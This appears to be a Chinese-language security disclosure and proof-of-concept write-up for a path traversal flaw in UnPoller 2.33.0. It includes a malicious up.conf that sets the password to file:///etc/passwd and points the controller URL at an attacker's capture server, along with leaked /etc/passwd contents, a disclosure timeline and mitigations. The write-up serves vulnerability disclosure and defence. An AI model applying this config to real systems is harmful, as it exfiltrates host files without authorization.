
Walkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0
路径遍历/任意文件读取漏洞,存在于 UnPoller v2.33.0 中,通过 file:// 密码前缀触发。文件内容从磁盘读取并在认证期间传输到配置的 UniFi 控制器 URL。
| CVE 编号 | CVE-2026-36851 |
| 产品 | UnPoller v2.33.0(早期版本可能受影响) |
| 弱点 | CWE-22(路径遍历)、CWE-20(输入验证不当) |
| CVSS 3.1 | 7.5 高 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| 报告者 | Hector Diaz |
UnPoller 支持从文件中加载凭据,当配置值以 file:// 开头时。该行为在 Docker 部署中有文档说明,操作员希望将密码放在纯文本配置文件之外。实现没有限制可读取的路径 — 进程能访问的任何文件都是有效输入。这些内容随后通过网络以 JSON POST 形式发送到同一配置文件中 url 所设置的控制器上的 /api/login。
这种组合将本地文件读取原语转变为网络外泄通道:对 up.conf 具有写入权限的攻击者可以将 url 指向其控制的服务器,并反复泄露敏感文件,而无需对这些文件具有直接读取权限。
我在我的家庭实验室中运行 UnPoller — 在 Proxmox LXC 上的 Docker — 将 UniFi 指标导出到 Grafana 以及我的其他堆栈中。当时我正在审查开源项目中的常见 Web 漏洞。UnPoller 的用户界面 Web 面积极小,因此 XSS 是死胡同。示例配置是发现的起点:
pass = "file:///path/to/password.file"
意图是合理的:引用机密文件而不是将密码嵌入 up.conf。我的问题是 UnPoller 是否验证了该路径 — 还是将任何 file:// 值视为字面文件系统指针。
追踪 pkg/inputunifi/input.go 中的源代码(以及 influxunifi、lokiunifi 中的类似处理)显示没有白名单。当 pass 或 api_key 以 file:// 开头时,前缀被剥离,并且 os.ReadFile() 将完整的文件内容加载到用于 UniFi 认证的凭据字段中。
机密性: UnPoller 主机上任意可读文件都可能被外泄 — 例如 /etc/passwd、/proc/version、/etc/hosts、应用程序配置,以及根据进程权限可能的密钥材料。
攻击前提: 对 UnPoller 配置(通常是 up.conf)的写入权限。一旦配置被修改,无需 UniFi 凭据即可触发读取。
为何这比本地管理员访问更值得关注: 在共享托管、配置错误的 Kubernetes 或受损的 sidecar 场景中,低权限角色可能能够修改服务配置,而无法直接读取敏感文件。此行为通过让 UnPoller 读取文件并将其外传,弥补了这一差距。
不在范围内: 远程代码执行、完整性或可用性 — 这是一个具有明确外泄路径的信息泄露问题。
在基于 Debian 的 Proxmox LXC 上,使用 Docker Compose,针对 ghcr.io/unpoller/unpoller:latest(v2.33.0)进行了测试。
通过环境变量设置 UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" 未在我的部署中触发该行为。挂载的配置文件是实际的数据来源。
我编辑了 up.conf,将 UnPoller 指向我控制的捕获服务器,而不是我的生产 UniFi 控制器:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
执行 docker restart unpoller 后,容器开始每约 30 秒连接到我的监听器 8443 端口。
我的第一个捕获服务器记录了 HTTP 头部并查找 Authorization: Basic ... 凭据。UnPoller 发送的 POST /api/login 请求没有 Authorization 头部 — UniFi 的 API 期望在请求体中包含 JSON:
{"username": "admin", "password": "..."}
我更新了监听器,读取 Content-Length,解析 POST 请求体,并记录 JSON。不到一分钟,/etc/passwd 就出现在密码字段中:
!/etc/passwd 在登录 POST 请求体中泄露
日志节选:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
同样的配置模式也适用于 /proc/version(内核/构建指纹识别):
!/proc/version 在登录 POST 请求体中泄露
恶意配置示例:poc/up.conf.example
| 日期 | 事件 |
|---|---|
| 2026-02-28 | 在家用实验室发现并确认 |
| 2026-03-01 | 通知供应商 (Discord) |
| 2026-03-02 | 提交 MITRE CVE 请求 |
| 2026-06-05 | CVE-2026-36851 已分配 |
UnPoller 维护者承认 file:// 行为是为 Docker 用户特意提供的便利,并质疑在没有配置编辑者和进程用户之间权限分离的情况下是否可利用。MITRE 无论如何分配了一个 CVE 标识符。
对于运维人员
up.conf 和配置挂载视为敏感内容;限制写入权限。file:// 路径。对于开发人员
file:// 处理,或强制执行严格的路径白名单(例如仅允许 /etc/unpoller/secrets/ 下的路径)。MIT — 参见 LICENSE。本仓库中的概念验证材料仅供授权安全研究和教育使用。请勿用于您不拥有或未经明确许可测试的系统。
Hector Diaz · LinkedIn · hectordiaz.net
| 2026-07-03 | 公开发布文章 |